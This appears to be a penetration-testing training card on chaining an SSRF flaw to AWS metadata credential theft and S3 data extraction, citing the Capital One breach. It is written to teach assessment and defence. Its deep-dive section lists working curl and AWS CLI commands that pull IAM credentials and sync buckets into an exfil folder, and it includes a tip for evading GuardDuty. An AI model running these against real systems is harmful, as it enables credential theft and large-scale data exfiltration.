IMDS SSRF to IAM Credential Theft: Metadata Endpoint Exploitation for Role Hijacking

Why This Matters

The Capital One breach is the canonical example of this exact attack chain. In July 2019, an attacker exploited a misconfigured AWS WAF reverse proxy that was forwarding arbitrary URLs — a classic Server-Side Request Forgery vulnerability. The attacker directed the proxy to http://169.254.169.254/latest/meta-data/iam/security-credentials/, retrieved temporary IAM credentials for the attached EC2 role, and used those credentials to call s3:ListBuckets and s3:GetObject on over 700 S3 buckets. More than 100 million customer records were extracted before the activity was detected — seven weeks after it began. The cost exceeded $190 million in settlements alone. This chain — SSRF to IMDS to S3 — has been replicated in dozens of subsequent breaches and penetration tests and remains one of the highest-impact cloud attack patterns.

Core Concept

This card covers a chained cloud attack in which each step's output becomes the next step's input. The chain has four links: a web application SSRF vulnerability that can be directed to internal HTTP addresses; the IMDSv1 endpoint at 169.254.169.254 that returns IAM credentials without authentication; the IAM temporary credentials that are used as a new identity in the AWS API; and the S3 bucket policy that grants access to the assumed IAM role.

The SSRF vulnerability is the initial foothold. Common patterns include: URL-fetch parameters (?url=, ?fetch=, ?src=), webhook registration endpoints that test the provided URL, PDF-rendering services that fetch the document from a provided URL, and image proxies that download and resize images from arbitrary sources. Any server-side HTTP request controlled by user input is an SSRF candidate.

Lateral pivot refers to using credentials obtained from one AWS service to access a different service. In this chain, credentials obtained from the EC2 IMDS (an EC2-specific service) are used to access S3 (an object storage service). The IAM role's policy governs which S3 buckets the credentials can access. If the EC2 role has s3:GetObject on "Resource": "*" — a common misconfiguration for application servers that read configuration from S3 — every bucket in the account is potentially accessible.

CloudTrail detection signatures for this chain: the IMDS access leaves no CloudTrail log (IMDS is not an AWS API call). The first observable event is GetCallerIdentity from an unusual source IP (the attacker's machine, not the EC2 instance). Subsequent ListBuckets and GetObject calls from the same external IP with an ASIA (temporary) access key confirm credential theft.

Technical Deep-Dive

# ── Link 1: SSRF Discovery ────────────────────────────────────
# Test URL-fetch parameter for SSRF
# Burp Suite Collaborator / interactsh for out-of-band detection
curl "https://victim-app.example.com/render?url=https://YOUR-COLLABORATOR.oast.pro/"

# Redirect to IMDS on confirmed SSRF
curl "https://victim-app.example.com/render?url=http://169.254.169.254/latest/meta-data/"
# Expected response if vulnerable: ami-id, hostname, iam/, network/, ...

# ── Link 2: IMDS Traversal ────────────────────────────────────
# Get role name (trailing slash returns role list)
curl "https://victim-app.example.com/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response: prod-app-ec2-role

# Get credentials for that role
curl "https://victim-app.example.com/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-app-ec2-role"
# Response JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# ── Link 3: Credential Validation ────────────────────────────
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Confirm stolen identity — first CloudTrail-visible event
aws sts get-caller-identity
# Note: source IP in CloudTrail will be attacker IP, not EC2 private IP

# ── Link 4: S3 Lateral Pivot ─────────────────────────────────
# List all accessible buckets
aws s3 ls

# Enumerate bucket contents
aws s3 ls s3://company-prod-data --recursive | grep -E ".(csv|json|sql|tar|zip|env|pem|key)"

# Extract sensitive files
aws s3 sync s3://company-prod-data ./exfil/ 
  --exclude "*" --include "*.csv" --include "*.json"

# ── Detection Evasion Awareness ───────────────────────────────
# GuardDuty detects: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration
# when ASIA credentials are used from an IP not associated with the EC2 instance
# Attacker mitigation (for red team awareness): route API calls through a proxy
# inside the same VPC if possible — use SSM Session Manager if foothold allows

Security Assessment Methodology

1. Map the SSRF attack surface — spider the target application for URL-fetch functionality. Use Burp Suite's active scanner with SSRF detection probes. Check webhook endpoints, image upload handlers, and PDF-generation features.
2. Confirm SSRF and test IMDS reachability — inject http://169.254.169.254/latest/meta-data/ as the target URL. A response containing EC2 metadata confirms IMDSv1 is accessible via SSRF.
3. Retrieve IAM role credentials — query /latest/meta-data/iam/security-credentials/ for the role name, then fetch full credentials. Record the Expiration timestamp.
4. Validate stolen credentials externally — configure credentials in the AWS CLI on an external machine and run aws sts get-caller-identity. This is the first CloudTrail-visible event — time-stamp it for the report.
5. Enumerate S3 access — run aws s3 ls to list all accessible buckets. Recursively list each bucket and keyword-search object keys for sensitive content patterns.
6. Document the full pivot chain — capture each step with timestamps, exact API calls, and the credentials used at each stage. This establishes the impact chain for the report.
7. Assess detection coverage — verify whether GuardDuty is enabled and whether UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration findings were generated for the test activity.

Defensive Countermeasure — Implement three independent controls: (1) Enforce IMDSv2 on all EC2 instances (HttpTokens: required) to break the SSRF-to-IMDS link. (2) Apply a least-privilege execution role to the EC2 instance — if the application only reads from one specific S3 bucket, the role policy should be {"Effect": "Allow", "Action": ["s3:GetObject"], "Resource": "arn:aws:s3:::specific-bucket/*"} rather than "Resource": "*". (3) Enable GuardDuty finding type UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration and create a CloudWatch alarm that triggers an SNS notification within 5 minutes of detection.

Common Assessment Errors

• Stopping after SSRF confirmation — assessors sometimes mark SSRF as a medium finding and move on without testing IMDS reachability. The severity jumps to critical the moment IMDS credentials are accessible.
• Using stolen credentials from the EC2 instance's IP — testing from within the VPC via an existing foothold avoids GuardDuty detection but may not represent the full attacker capability. Test from an external IP to confirm the detection gap.
• Missing the user-data endpoint — /latest/user-data often contains bootstrap scripts with hardcoded database credentials or API keys. This is a separate finding from IAM credential theft.
• Not checking secondary IMDS paths — /latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance provides a separate credential set used by some AWS services. Enumerate the full metadata tree.
• Failing to scope the S3 impact — listing all accessible buckets is not enough. Identify which buckets contain regulated data (PII, PCI, PHI) to establish the true breach scope for the report.
• Assuming the pivot stops at S3 — stolen EC2 role credentials may also grant access to RDS, Secrets Manager, KMS, or DynamoDB. Enumerate all accessible services, not just S3.

NICE Framework Alignment

Further Reading

• "Capital One Breach — Technical Root Cause and Cloud Security Lessons" — AWS re:Inforce 2020 Presentation
• "Server-Side Request Forgery in the Cloud" — HackTricks Cloud Security Documentation
• "SSRF to AWS Metadata Service — Detection and Prevention" — Datadog Security Labs Blog